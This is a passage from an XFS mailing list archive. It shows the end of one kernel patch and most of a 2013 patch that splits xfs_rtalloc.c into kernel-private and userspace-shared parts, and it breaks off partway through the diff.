@@ -77,9 +77,9 @@ extern void xfs_dir3_leaf_compact_x1(struct xfs_dir3_icleaf_hdr *leafhdr, int *lowstalep, int *highstalep, int *lowlogp, int *highlogp); extern int xfs_dir3_leaf_get_buf(struct xfs_da_args *args, xfs_dir2_db_t bno, struct xfs_buf **bpp, __uint16_t magic); -extern void xfs_dir3_leaf_log_ents(struct xfs_trans *tp, struct xfs_buf *bp, - int first, int last); -extern void xfs_dir3_leaf_log_header(struct xfs_trans *tp, +extern void xfs_dir3_leaf_log_ents(struct xfs_trans *tp, struct xfs_inode *dp, + struct xfs_buf *bp, int first, int last); +extern void xfs_dir3_leaf_log_header(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_buf *bp); extern int xfs_dir2_leaf_lookup(struct xfs_da_args *args); extern int xfs_dir2_leaf_removename(struct xfs_da_args *args); @@ -98,17 +98,18 @@ extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, struct xfs_dir2_leaf *from); extern void xfs_dir3_leaf_hdr_to_disk(struct xfs_dir2_leaf *to, struct xfs_dir3_icleaf_hdr *from); -extern bool xfs_dir3_leaf_check_int(struct xfs_mount *mp, +extern bool xfs_dir3_leaf_check_int(struct xfs_mount *mp, struct xfs_inode *dp, struct xfs_dir3_icleaf_hdr *hdr, struct xfs_dir2_leaf *leaf); /* xfs_dir2_node.c */ extern int xfs_dir2_leaf_to_node(struct xfs_da_args *args, struct xfs_buf *lbp); -extern xfs_dahash_t xfs_dir2_leafn_lasthash(struct xfs_buf *bp, int *count); +extern xfs_dahash_t xfs_dir2_leafn_lasthash(struct xfs_inode *dp, + struct xfs_buf *bp, int *count); extern int xfs_dir2_leafn_lookup_int(struct xfs_buf *bp, struct xfs_da_args *args, int *indexp, struct xfs_da_state *state); -extern int xfs_dir2_leafn_order(struct xfs_buf *leaf1_bp, +extern int xfs_dir2_leafn_order(struct xfs_inode *dp, struct xfs_buf *leaf1_bp, struct xfs_buf *leaf2_bp); extern int xfs_dir2_leafn_split(struct xfs_da_state *state, struct xfs_da_state_blk *oldblk, struct xfs_da_state_blk *newblk); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 747717F53 for ; Sun, 29 Sep 2013 22:07:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6604C8F8039 for ; Sun, 29 Sep 2013 20:07:38 -0700 (PDT) X-ASG-Debug-ID: 1380510445-04cb6c153d159b0a0004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id k10x96HSoKYEZkIB for ; Sun, 29 Sep 2013 20:07:31 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8GAPLpSFJ5LCC0/2dsb2JhbABSCIMHrXlBk0iBIhd0giUBAQQBGgEMLygLCBgxOQMbGYgABbwGjhMBgTKENAOUIo4Wh0CDNiqBLAEDHAQ Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006LX-ND for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002Bx-M6 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 06/16] xfs: split xfs_rtalloc.c for userspace sanity Date: Mon, 30 Sep 2013 13:07:03 +1000 X-ASG-Orig-Subj: [PATCH 06/16] xfs: split xfs_rtalloc.c for userspace sanity Message-Id: <1380510433-8353-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510451 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs_rtalloc.c is partially shared with userspace. Split the file up into two parts - one that is kernel private and the other which is wholly shared with userspace. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 6 +- fs/xfs/xfs_rtalloc.c | 1845 ++++++++++++------------------------------------- fs/xfs/xfs_rtalloc.h | 24 + fs/xfs/xfs_rtbitmap.c | 973 ++++++++++++++++++++++++++ 4 files changed, 1446 insertions(+), 1402 deletions(-) create mode 100644 fs/xfs/xfs_rtbitmap.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 08f11bb..33a69fa 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -104,7 +104,11 @@ xfs-$(CONFIG_XFS_QUOTA) += xfs_dquot.o \ xfs_qm_bhv.o \ xfs_qm.o \ xfs_quotaops.o -xfs-$(CONFIG_XFS_RT) += xfs_rtalloc.o + +# xfs_rtbitmap is shared with libxfs +xfs-$(CONFIG_XFS_RT) += xfs_rtalloc.o \ + xfs_rtbitmap.o + xfs-$(CONFIG_XFS_POSIX_ACL) += xfs_acl.o xfs-$(CONFIG_PROC_FS) += xfs_stats.o xfs-$(CONFIG_SYSCTL) += xfs_sysctl.o diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index d5da155..a6a76b2 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -37,247 +37,336 @@ #include "xfs_buf.h" #include "xfs_icache.h" #include "xfs_dinode.h" +#include "xfs_rtalloc.h" /* - * Prototypes for internal functions. - */ - - -STATIC int xfs_rtallocate_range(xfs_mount_t *, xfs_trans_t *, xfs_rtblock_t, - xfs_extlen_t, xfs_buf_t **, xfs_fsblock_t *); -STATIC int xfs_rtany_summary(xfs_mount_t *, xfs_trans_t *, int, int, - xfs_rtblock_t, xfs_buf_t **, xfs_fsblock_t *, int *); -STATIC int xfs_rtcheck_range(xfs_mount_t *, xfs_trans_t *, xfs_rtblock_t, - xfs_extlen_t, int, xfs_rtblock_t *, int *); -STATIC int xfs_rtfind_back(xfs_mount_t *, xfs_trans_t *, xfs_rtblock_t, - xfs_rtblock_t, xfs_rtblock_t *); -STATIC int xfs_rtfind_forw(xfs_mount_t *, xfs_trans_t *, xfs_rtblock_t, - xfs_rtblock_t, xfs_rtblock_t *); -STATIC int xfs_rtget_summary( xfs_mount_t *, xfs_trans_t *, int, - xfs_rtblock_t, xfs_buf_t **, xfs_fsblock_t *, xfs_suminfo_t *); -STATIC int xfs_rtmodify_range(xfs_mount_t *, xfs_trans_t *, xfs_rtblock_t, - xfs_extlen_t, int); -STATIC int xfs_rtmodify_summary(xfs_mount_t *, xfs_trans_t *, int, - xfs_rtblock_t, int, xfs_buf_t **, xfs_fsblock_t *); - -/* - * Internal functions. - */ - -/* - * Allocate space to the bitmap or summary file, and zero it, for growfs. + * Read and return the summary information for a given extent size, + * bitmap block combination. + * Keeps track of a current summary block, so we don't keep reading + * it from the buffer cache. */ STATIC int /* error */ -xfs_growfs_rt_alloc( - xfs_mount_t *mp, /* file system mount point */ - xfs_extlen_t oblocks, /* old count of blocks */ - xfs_extlen_t nblocks, /* new count of blocks */ - xfs_inode_t *ip) /* inode (bitmap/summary) */ +xfs_rtget_summary( + xfs_mount_t *mp, /* file system mount structure */ + xfs_trans_t *tp, /* transaction pointer */ + int log, /* log2 of extent size */ + xfs_rtblock_t bbno, /* bitmap block number */ + xfs_buf_t **rbpp, /* in/out: summary block buffer */ + xfs_fsblock_t *rsb, /* in/out: summary block number */ + xfs_suminfo_t *sum) /* out: summary info for this block */ { - xfs_fileoff_t bno; /* block number in file */ - xfs_buf_t *bp; /* temporary buffer for zeroing */ - int committed; /* transaction committed flag */ - xfs_daddr_t d; /* disk block address */ - int error; /* error return value */ - xfs_fsblock_t firstblock; /* first block allocated in xaction */ - xfs_bmap_free_t flist; /* list of freed blocks */ - xfs_fsblock_t fsbno; /* filesystem block for bno */ - xfs_bmbt_irec_t map; /* block map output */ - int nmap; /* number of block maps */ - int resblks; /* space reservation */ + xfs_buf_t *bp; /* buffer for summary block */ + int error; /* error value */ + xfs_fsblock_t sb; /* summary fsblock */ + int so; /* index into the summary file */ + xfs_suminfo_t *sp; /* pointer to returned data */ /* - * Allocate space to the file, as necessary. + * Compute entry number in the summary file. */ - while (oblocks < nblocks) { - int cancelflags = 0; - xfs_trans_t *tp; - - tp = xfs_trans_alloc(mp, XFS_TRANS_GROWFSRT_ALLOC); - resblks = XFS_GROWFSRT_SPACE_RES(mp, nblocks - oblocks); - /* - * Reserve space & log for one extent added to the file. - */ - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growdata, - resblks, 0); - if (error) - goto error_cancel; - cancelflags = XFS_TRANS_RELEASE_LOG_RES; - /* - * Lock the inode. - */ - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); - - xfs_bmap_init(&flist, &firstblock); - /* - * Allocate blocks to the bitmap file. - */ - nmap = 1; - cancelflags |= XFS_TRANS_ABORT; - error = xfs_bmapi_write(tp, ip, oblocks, nblocks - oblocks, - XFS_BMAPI_METADATA, &firstblock, - resblks, &map, &nmap, &flist); - if (!error && nmap < 1) - error = XFS_ERROR(ENOSPC); - if (error) - goto error_cancel; - /* - * Free any blocks freed up in the transaction, then commit. - */ - error = xfs_bmap_finish(&tp, &flist, &committed); - if (error) - goto error_cancel; - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - goto error; + so = XFS_SUMOFFS(mp, log, bbno); + /* + * Compute the block number in the summary file. + */ + sb = XFS_SUMOFFSTOBLOCK(mp, so); + /* + * If we have an old buffer, and the block number matches, use that. + */ + if (rbpp && *rbpp && *rsb == sb) + bp = *rbpp; + /* + * Otherwise we have to get the buffer. + */ + else { /* - * Now we need to clear the allocated blocks. - * Do this one block per transaction, to keep it simple. + * If there was an old one, get rid of it first. */ - cancelflags = 0; - for (bno = map.br_startoff, fsbno = map.br_startblock; - bno < map.br_startoff + map.br_blockcount; - bno++, fsbno++) { - tp = xfs_trans_alloc(mp, XFS_TRANS_GROWFSRT_ZERO); - /* - * Reserve log for one block zeroing. - */ - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growrtzero, - 0, 0); - if (error) - goto error_cancel; - /* - * Lock the bitmap inode. - */ - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); - /* - * Get a buffer for the block. - */ - d = XFS_FSB_TO_DADDR(mp, fsbno); - bp = xfs_trans_get_buf(tp, mp->m_ddev_targp, d, - mp->m_bsize, 0); - if (bp == NULL) { - error = XFS_ERROR(EIO); -error_cancel: - xfs_trans_cancel(tp, cancelflags); - goto error; - } - memset(bp->b_addr, 0, mp->m_sb.sb_blocksize); - xfs_trans_log_buf(tp, bp, 0, mp->m_sb.sb_blocksize - 1); - /* - * Commit the transaction. - */ - error = xfs_trans_commit(tp, 0); - if (error) - goto error; + if (rbpp && *rbpp) + xfs_trans_brelse(tp, *rbpp); + error = xfs_rtbuf_get(mp, tp, sb, 1, &bp); + if (error) { + return error; } /* - * Go on to the next extent, if any. + * Remember this buffer and block for the next call. */ - oblocks = map.br_startoff + map.br_blockcount; + if (rbpp) { + *rbpp = bp; + *rsb = sb; + } } + /* + * Point to the summary information & copy it out. + */ + sp = XFS_SUMPTR(mp, bp, so); + *sum = *sp; + /* + * Drop the buffer if we're not asked to remember it. + */ + if (!rbpp) + xfs_trans_brelse(tp, bp); return 0; - -error: - return error; } + /* - * Attempt to allocate an extent minlen<=len<=maxlen starting from - * bitmap block bbno. If we don't get maxlen then use prod to trim - * the length, if given. Returns error; returns starting block in *rtblock. - * The lengths are all in rtextents. + * Return whether there are any free extents in the size range given + * by low and high, for the bitmap block bbno. */ STATIC int /* error */ -xfs_rtallocate_extent_block( - xfs_mount_t *mp, /* file system mount point */ +xfs_rtany_summary( + xfs_mount_t *mp, /* file system mount structure */ xfs_trans_t *tp, /* transaction pointer */ + int low, /* low log2 extent size */ + int high, /* high log2 extent size */ xfs_rtblock_t bbno, /* bitmap block number */ - xfs_extlen_t minlen, /* minimum length to allocate */ - xfs_extlen_t maxlen, /* maximum length to allocate */ - xfs_extlen_t *len, /* out: actual length allocated */ - xfs_rtblock_t *nextp, /* out: next block to try */ xfs_buf_t **rbpp, /* in/out: summary block buffer */ xfs_fsblock_t *rsb, /* in/out: summary block number */ - xfs_extlen_t prod, /* extent product factor */ - xfs_rtblock_t *rtblock) /* out: start block allocated */ + int *stat) /* out: any good extents here? */ { - xfs_rtblock_t besti; /* best rtblock found so far */ - xfs_rtblock_t bestlen; /* best length found so far */ - xfs_rtblock_t end; /* last rtblock in chunk */ int error; /* error value */ - xfs_rtblock_t i; /* current rtblock trying */ - xfs_rtblock_t next; /* next rtblock to try */ - int stat; /* status from internal calls */ + int log; /* loop counter, log2 of ext. size */ + xfs_suminfo_t sum; /* summary data */ /* - * Loop over all the extents starting in this bitmap block, - * looking for one that's long enough. + * Loop over logs of extent sizes. Order is irrelevant. */ - for (i = XFS_BLOCKTOBIT(mp, bbno), besti = -1, bestlen = 0, - end = XFS_BLOCKTOBIT(mp, bbno + 1) - 1; - i <= end; - i++) { + for (log = low; log <= high; log++) { /* - * See if there's a free extent of maxlen starting at i. - * If it's not so then next will contain the first non-free. + * Get one summary datum. */ - error = xfs_rtcheck_range(mp, tp, i, maxlen, 1, &next, &stat); + error = xfs_rtget_summary(mp, tp, log, bbno, rbpp, rsb, &sum); if (error) { return error; } - if (stat) { - /* - * i for maxlen is all free, allocate and return that. - */ - error = xfs_rtallocate_range(mp, tp, i, maxlen, rbpp, - rsb); - if (error) { - return error; - } - *len = maxlen; - *rtblock = i; - return 0; - } /* - * In the case where we have a variable-sized allocation - * request, figure out how big this free piece is, - * and if it's big enough for the minimum, and the best - * so far, remember it. + * If there are any, return success. */ - if (minlen < maxlen) { - xfs_rtblock_t thislen; /* this extent size */ - - thislen = next - i; - if (thislen >= minlen && thislen > bestlen) { - besti = i; - bestlen = thislen; - } + if (sum) { + *stat = 1; + return 0; } - /* - * If not done yet, find the start of the next free space. - */ - if (next < end) { - error = xfs_rtfind_forw(mp, tp, next, end, &i); - if (error) { - return error; - } - } else - break; } /* - * Searched the whole thing & didn't find a maxlen free extent. + * Found nothing, return failure. */ - if (minlen < maxlen && besti != -1) { - xfs_extlen_t p; /* amount to trim length by */ + *stat = 0; + return 0; +} - /* - * If size should be a multiple of prod, make that so. - */ - if (prod > 1 && (p = do_mod(bestlen, prod))) + +/* + * Copy and transform the summary file, given the old and new + * parameters in the mount structures. + */ +STATIC int /* error */ +xfs_rtcopy_summary( + xfs_mount_t *omp, /* old file system mount point */ + xfs_mount_t *nmp, /* new file system mount point */ + xfs_trans_t *tp) /* transaction pointer */ +{ + xfs_rtblock_t bbno; /* bitmap block number */ + xfs_buf_t *bp; /* summary buffer */ + int error; /* error return value */ + int log; /* summary level number (log length) */ + xfs_suminfo_t sum; /* summary data */ + xfs_fsblock_t sumbno; /* summary block number */ + + bp = NULL; + for (log = omp->m_rsumlevels - 1; log >= 0; log--) { + for (bbno = omp->m_sb.sb_rbmblocks - 1; + (xfs_srtblock_t)bbno >= 0; + bbno--) { + error = xfs_rtget_summary(omp, tp, log, bbno, &bp, + &sumbno, &sum); + if (error) + return error; + if (sum == 0) + continue; + error = xfs_rtmodify_summary(omp, tp, log, bbno, -sum, + &bp, &sumbno); + if (error) + return error; + error = xfs_rtmodify_summary(nmp, tp, log, bbno, sum, + &bp, &sumbno); + if (error) + return error; + ASSERT(sum > 0); + } + } + return 0; +} +/* + * Mark an extent specified by start and len allocated. + * Updates all the summary information as well as the bitmap. + */ +STATIC int /* error */ +xfs_rtallocate_range( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* start block to allocate */ + xfs_extlen_t len, /* length to allocate */ + xfs_buf_t **rbpp, /* in/out: summary block buffer */ + xfs_fsblock_t *rsb) /* in/out: summary block number */ +{ + xfs_rtblock_t end; /* end of the allocated extent */ + int error; /* error value */ + xfs_rtblock_t postblock = 0; /* first block allocated > end */ + xfs_rtblock_t preblock = 0; /* first block allocated < start */ + + end = start + len - 1; + /* + * Assume we're allocating out of the middle of a free extent. + * We need to find the beginning and end of the extent so we can + * properly update the summary. + */ + error = xfs_rtfind_back(mp, tp, start, 0, &preblock); + if (error) { + return error; + } + /* + * Find the next allocated block (end of free extent). + */ + error = xfs_rtfind_forw(mp, tp, end, mp->m_sb.sb_rextents - 1, + &postblock); + if (error) { + return error; + } + /* + * Decrement the summary information corresponding to the entire + * (old) free extent. + */ + error = xfs_rtmodify_summary(mp, tp, + XFS_RTBLOCKLOG(postblock + 1 - preblock), + XFS_BITTOBLOCK(mp, preblock), -1, rbpp, rsb); + if (error) { + return error; + } + /* + * If there are blocks not being allocated at the front of the + * old extent, add summary data for them to be free. + */ + if (preblock < start) { + error = xfs_rtmodify_summary(mp, tp, + XFS_RTBLOCKLOG(start - preblock), + XFS_BITTOBLOCK(mp, preblock), 1, rbpp, rsb); + if (error) { + return error; + } + } + /* + * If there are blocks not being allocated at the end of the + * old extent, add summary data for them to be free. + */ + if (postblock > end) { + error = xfs_rtmodify_summary(mp, tp, + XFS_RTBLOCKLOG(postblock - end), + XFS_BITTOBLOCK(mp, end + 1), 1, rbpp, rsb); + if (error) { + return error; + } + } + /* + * Modify the bitmap to mark this extent allocated. + */ + error = xfs_rtmodify_range(mp, tp, start, len, 0); + return error; +} + +/* + * Attempt to allocate an extent minlen<=len<=maxlen starting from + * bitmap block bbno. If we don't get maxlen then use prod to trim + * the length, if given. Returns error; returns starting block in *rtblock. + * The lengths are all in rtextents. + */ +STATIC int /* error */ +xfs_rtallocate_extent_block( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t bbno, /* bitmap block number */ + xfs_extlen_t minlen, /* minimum length to allocate */ + xfs_extlen_t maxlen, /* maximum length to allocate */ + xfs_extlen_t *len, /* out: actual length allocated */ + xfs_rtblock_t *nextp, /* out: next block to try */ + xfs_buf_t **rbpp, /* in/out: summary block buffer */ + xfs_fsblock_t *rsb, /* in/out: summary block number */ + xfs_extlen_t prod, /* extent product factor */ + xfs_rtblock_t *rtblock) /* out: start block allocated */ +{ + xfs_rtblock_t besti; /* best rtblock found so far */ + xfs_rtblock_t bestlen; /* best length found so far */ + xfs_rtblock_t end; /* last rtblock in chunk */ + int error; /* error value */ + xfs_rtblock_t i; /* current rtblock trying */ + xfs_rtblock_t next; /* next rtblock to try */ + int stat; /* status from internal calls */ + + /* + * Loop over all the extents starting in this bitmap block, + * looking for one that's long enough. + */ + for (i = XFS_BLOCKTOBIT(mp, bbno), besti = -1, bestlen = 0, + end = XFS_BLOCKTOBIT(mp, bbno + 1) - 1; + i <= end; + i++) { + /* + * See if there's a free extent of maxlen starting at i. + * If it's not so then next will contain the first non-free. + */ + error = xfs_rtcheck_range(mp, tp, i, maxlen, 1, &next, &stat); + if (error) { + return error; + } + if (stat) { + /* + * i for maxlen is all free, allocate and return that. + */ + error = xfs_rtallocate_range(mp, tp, i, maxlen, rbpp, + rsb); + if (error) { + return error; + } + *len = maxlen; + *rtblock = i; + return 0; + } + /* + * In the case where we have a variable-sized allocation + * request, figure out how big this free piece is, + * and if it's big enough for the minimum, and the best + * so far, remember it. + */ + if (minlen < maxlen) { + xfs_rtblock_t thislen; /* this extent size */ + + thislen = next - i; + if (thislen >= minlen && thislen > bestlen) { + besti = i; + bestlen = thislen; + } + } + /* + * If not done yet, find the start of the next free space. + */ + if (next < end) { + error = xfs_rtfind_forw(mp, tp, next, end, &i); + if (error) { + return error; + } + } else + break; + } + /* + * Searched the whole thing & didn't find a maxlen free extent. + */ + if (minlen < maxlen && besti != -1) { + xfs_extlen_t p; /* amount to trim length by */ + + /* + * If size should be a multiple of prod, make that so. + */ + if (prod > 1 && (p = do_mod(bestlen, prod))) bestlen -= p; /* * Allocate besti for bestlen & return that. @@ -638,1191 +727,205 @@ xfs_rtallocate_extent_size( */ if (r != NULLRTBLOCK) { *rtblock = r; - return 0; - } - /* - * If the "next block to try" returned from the - * allocator is beyond the next bitmap block, - * skip to that bitmap block. - */ - if (XFS_BITTOBLOCK(mp, n) > i + 1) - i = XFS_BITTOBLOCK(mp, n) - 1; - } - } - /* - * Didn't find any maxlen blocks. Try smaller ones, unless - * we're asking for a fixed size extent. - */ - if (minlen > --maxlen) { - *rtblock = NULLRTBLOCK; - return 0; - } - ASSERT(minlen != 0); - ASSERT(maxlen != 0); - - /* - * Loop over sizes, from maxlen down to minlen. - * This time, when we do the allocations, allow smaller ones - * to succeed. - */ - for (l = xfs_highbit32(maxlen); l >= xfs_highbit32(minlen); l--) { - /* - * Loop over all the bitmap blocks, try an allocation - * starting in that block. - */ - for (i = 0; i < mp->m_sb.sb_rbmblocks; i++) { - /* - * Get the summary information for this level/block. - */ - error = xfs_rtget_summary(mp, tp, l, i, rbpp, rsb, - &sum); - if (error) { - return error; - } - /* - * If nothing there, go on to next. - */ - if (!sum) - continue; - /* - * Try the allocation. Make sure the specified - * minlen/maxlen are in the possible range for - * this summary level. - */ - error = xfs_rtallocate_extent_block(mp, tp, i, - XFS_RTMAX(minlen, 1 << l), - XFS_RTMIN(maxlen, (1 << (l + 1)) - 1), - len, &n, rbpp, rsb, prod, &r); - if (error) { - return error; - } - /* - * If it worked, return that extent. - */ - if (r != NULLRTBLOCK) { - *rtblock = r; - return 0; - } - /* - * If the "next block to try" returned from the - * allocator is beyond the next bitmap block, - * skip to that bitmap block. - */ - if (XFS_BITTOBLOCK(mp, n) > i + 1) - i = XFS_BITTOBLOCK(mp, n) - 1; - } - } - /* - * Got nothing, return failure. - */ - *rtblock = NULLRTBLOCK; - return 0; -} - -/* - * Mark an extent specified by start and len allocated. - * Updates all the summary information as well as the bitmap. - */ -STATIC int /* error */ -xfs_rtallocate_range( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* start block to allocate */ - xfs_extlen_t len, /* length to allocate */ - xfs_buf_t **rbpp, /* in/out: summary block buffer */ - xfs_fsblock_t *rsb) /* in/out: summary block number */ -{ - xfs_rtblock_t end; /* end of the allocated extent */ - int error; /* error value */ - xfs_rtblock_t postblock = 0; /* first block allocated > end */ - xfs_rtblock_t preblock = 0; /* first block allocated < start */ - - end = start + len - 1; - /* - * Assume we're allocating out of the middle of a free extent. - * We need to find the beginning and end of the extent so we can - * properly update the summary. - */ - error = xfs_rtfind_back(mp, tp, start, 0, &preblock); - if (error) { - return error; - } - /* - * Find the next allocated block (end of free extent). - */ - error = xfs_rtfind_forw(mp, tp, end, mp->m_sb.sb_rextents - 1, - &postblock); - if (error) { - return error; - } - /* - * Decrement the summary information corresponding to the entire - * (old) free extent. - */ - error = xfs_rtmodify_summary(mp, tp, - XFS_RTBLOCKLOG(postblock + 1 - preblock), - XFS_BITTOBLOCK(mp, preblock), -1, rbpp, rsb); - if (error) { - return error; - } - /* - * If there are blocks not being allocated at the front of the - * old extent, add summary data for them to be free. - */ - if (preblock < start) { - error = xfs_rtmodify_summary(mp, tp, - XFS_RTBLOCKLOG(start - preblock), - XFS_BITTOBLOCK(mp, preblock), 1, rbpp, rsb); - if (error) { - return error; - } - } - /* - * If there are blocks not being allocated at the end of the - * old extent, add summary data for them to be free. - */ - if (postblock > end) { - error = xfs_rtmodify_summary(mp, tp, - XFS_RTBLOCKLOG(postblock - end), - XFS_BITTOBLOCK(mp, end + 1), 1, rbpp, rsb); - if (error) { - return error; - } - } - /* - * Modify the bitmap to mark this extent allocated. - */ - error = xfs_rtmodify_range(mp, tp, start, len, 0); - return error; -} - -/* - * Return whether there are any free extents in the size range given - * by low and high, for the bitmap block bbno. - */ -STATIC int /* error */ -xfs_rtany_summary( - xfs_mount_t *mp, /* file system mount structure */ - xfs_trans_t *tp, /* transaction pointer */ - int low, /* low log2 extent size */ - int high, /* high log2 extent size */ - xfs_rtblock_t bbno, /* bitmap block number */ - xfs_buf_t **rbpp, /* in/out: summary block buffer */ - xfs_fsblock_t *rsb, /* in/out: summary block number */ - int *stat) /* out: any good extents here? */ -{ - int error; /* error value */ - int log; /* loop counter, log2 of ext. size */ - xfs_suminfo_t sum; /* summary data */ - - /* - * Loop over logs of extent sizes. Order is irrelevant. - */ - for (log = low; log <= high; log++) { - /* - * Get one summary datum. - */ - error = xfs_rtget_summary(mp, tp, log, bbno, rbpp, rsb, &sum); - if (error) { - return error; - } - /* - * If there are any, return success. - */ - if (sum) { - *stat = 1; - return 0; - } - } - /* - * Found nothing, return failure. - */ - *stat = 0; - return 0; -} - -/* - * Get a buffer for the bitmap or summary file block specified. - * The buffer is returned read and locked. - */ -STATIC int /* error */ -xfs_rtbuf_get( - xfs_mount_t *mp, /* file system mount structure */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t block, /* block number in bitmap or summary */ - int issum, /* is summary not bitmap */ - xfs_buf_t **bpp) /* output: buffer for the block */ -{ - xfs_buf_t *bp; /* block buffer, result */ - xfs_inode_t *ip; /* bitmap or summary inode */ - xfs_bmbt_irec_t map; - int nmap = 1; - int error; /* error value */ - - ip = issum ? mp->m_rsumip : mp->m_rbmip; - - error = xfs_bmapi_read(ip, block, 1, &map, &nmap, XFS_DATA_FORK); - if (error) - return error; - - ASSERT(map.br_startblock != NULLFSBLOCK); - error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, - XFS_FSB_TO_DADDR(mp, map.br_startblock), - mp->m_bsize, 0, &bp, NULL); - if (error) - return error; - ASSERT(!xfs_buf_geterror(bp)); - *bpp = bp; - return 0; -} - -#ifdef DEBUG -/* - * Check that the given extent (block range) is allocated already. - */ -STATIC int /* error */ -xfs_rtcheck_alloc_range( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t bno, /* starting block number of extent */ - xfs_extlen_t len, /* length of extent */ - int *stat) /* out: 1 for allocated, 0 for not */ -{ - xfs_rtblock_t new; /* dummy for xfs_rtcheck_range */ - - return xfs_rtcheck_range(mp, tp, bno, len, 0, &new, stat); -} -#endif - -/* - * Check that the given range is either all allocated (val = 0) or - * all free (val = 1). - */ -STATIC int /* error */ -xfs_rtcheck_range( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_rtblock_t start, /* starting block number of extent */ - xfs_extlen_t len, /* length of extent */ - int val, /* 1 for free, 0 for allocated */ - xfs_rtblock_t *new, /* out: first block not matching */ - int *stat) /* out: 1 for matches, 0 for not */ -{ - xfs_rtword_t *b; /* current word in buffer */ - int bit; /* bit number in the word */ - xfs_rtblock_t block; /* bitmap block number */ - xfs_buf_t *bp; /* buf for the block */ - xfs_rtword_t *bufp; /* starting word in buffer */ - int error; /* error value */ - xfs_rtblock_t i; /* current bit number rel. to start */ - xfs_rtblock_t lastbit; /* last useful bit in word */ - xfs_rtword_t mask; /* mask of relevant bits for value */ - xfs_rtword_t wdiff; /* difference from wanted value */ - int word; /* word number in the buffer */ - - /* - * Compute starting bitmap block number - */ - block = XFS_BITTOBLOCK(mp, start); - /* - * Read the bitmap block. - */ - error = xfs_rtbuf_get(mp, tp, block, 0, &bp); - if (error) { - return error; - } - bufp = bp->b_addr; - /* - * Compute the starting word's address, and starting bit. - */ - word = XFS_BITTOWORD(mp, start); - b = &bufp[word]; - bit = (int)(start & (XFS_NBWORD - 1)); - /* - * 0 (allocated) => all zero's; 1 (free) => all one's. - */ - val = -val; - /* - * If not starting on a word boundary, deal with the first - * (partial) word. - */ - if (bit) { - /* - * Compute first bit not examined. - */ - lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); - /* - * Mask of relevant bits. - */ - mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; - /* - * Compute difference between actual and desired value. - */ - if ((wdiff = (*b ^ val) & mask)) { - /* - * Different, compute first wrong bit and return. - */ - xfs_trans_brelse(tp, bp); - i = XFS_RTLOBIT(wdiff) - bit; - *new = start + i; - *stat = 0; - return 0; - } - i = lastbit - bit; - /* - * Go on to next block if that's where the next word is - * and we need the next word. - */ - if (++word == XFS_BLOCKWSIZE(mp) && i < len) { - /* - * If done with this block, get the next one. - */ - xfs_trans_brelse(tp, bp); - error = 